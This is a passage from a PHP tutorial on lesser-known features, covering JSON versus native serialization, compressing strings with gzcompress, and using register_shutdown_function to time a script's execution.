  20. [0] => hello
  21. [1] => 42
  22. [2] => Array
  23. (
  24. [0] => 1
  25. [1] => two
  26. )
  27. [3] => apple
  28. )
  29. */

This was the native PHP serialization method. However, since JSON has become so popular in recent years, they decided to add support for it in PHP 5.2. Now you can use the json_encode() and json_decode()functions as well:

  1. // a complex array
  2. $myvar = array(
  3. ‘hello’,
  4. 42,
  5. array(1,’two’),
  6. ‘apple’
  7. );
  8. // convert to a string
  9. $string = json_encode($myvar);
  10. echo $string;
  11. /* prints
  12. [“hello”,42,[1,”two”],”apple”]
  13. */
  14. // you can reproduce the original variable
  15. $newvar = json_decode($string);
  16. print_r($newvar);
  17. /* prints
  18. Array
  19. (
  20. [0] => hello
  21. [1] => 42
  22. [2] => Array
  23. (
  24. [0] => 1
  25. [1] => two
  26. )
  27. [3] => apple
  28. )
  29. */

It is more compact, and best of all, compatible with javascript and many other languages. However, for complex objects, some information may be lost.


8. Compressing Strings

When talking about compression, we usually think about files, such as ZIP archives. It is possible to compress long strings in PHP, without involving any archive files.

In the following example we are going to utilize the gzcompress() and gzuncompress() functions:

  1. $string =
  2. “Lorem ipsum dolor sit amet, consectetur
  3. adipiscing elit. Nunc ut elit id mi ultricies
  4. adipiscing. Nulla facilisi. Praesent pulvinar,
  5. sapien vel feugiat vestibulum, nulla dui pretium orci,
  6. non ultricies elit lacus quis ante. Lorem ipsum dolor
  7. sit amet, consectetur adipiscing elit. Aliquam
  8. pretium ullamcorper urna quis iaculis. Etiam ac massa
  9. sed turpis tempor luctus. Curabitur sed nibh eu elit
  10. mollis congue. Praesent ipsum diam, consectetur vitae
  11. ornare a, aliquam a nunc. In id magna pellentesque
  12. tellus posuere adipiscing. Sed non mi metus, at lacinia
  13. augue. Sed magna nisi, ornare in mollis in, mollis
  14. sed nunc. Etiam at justo in leo congue mollis.
  15. Nullam in neque eget metus hendrerit scelerisque
  16. eu non enim. Ut malesuada lacus eu nulla bibendum
  17. id euismod urna sodales. “;
  18. $compressed = gzcompress($string);
  19. echo “Original size: “. strlen($string).”\n”;
  20. /* prints
  21. Original size: 800
  22. */
  23. echo “Compressed size: “. strlen($compressed).”\n”;
  24. /* prints
  25. Compressed size: 418
  26. */
  27. // getting it back
  28. $original = gzuncompress($compressed);

We were able to achive almost 50% size reduction. Also the functions gzencode() and gzdecode() achive similar results, by using a different compression algorithm.


9. Register Shutdown Function

There is a function called register_shutdown_function(), which will let you execute some code right before the script finishes running.

Imagine that you want to capture some benchmark statistics at the end of your script execution, such as how long it took to run:

  1. // capture the start time
  2. $start_time = microtime(true);
  3. // do some stuff
  4. // …
  5. // display how long the script took
  6. echo “execution took: “.
  7. (microtime(true) – $start_time).
  8. ” seconds.”;

At first this may seem trivial. You just add the code to the very bottom of the script and it runs before it finishes. However, if you ever call the exit() function, that code will never run. Also, if there is a fatal error, or if the script is terminated by the user (by pressing the Stop button in the browser), again it may not run.

When you use register_shutdown_function(), your code will execute no matter why the script has stopped running:

  1. $start_time = microtime(true);
  2. register_shutdown_function(‘my_shutdown’);
  3. // do some stuff
  4. // …
  5. function my_shutdown() {
  6. global $start_time;
  7. echo “execution took: “.
  8. (microtime(true) – $start_time).
  9. ” seconds.”;
  10. }

Conclusion

Are you aware of any other PHP features that are not widely known but can be quite useful? Please share with us in the comments. And thank you for reading!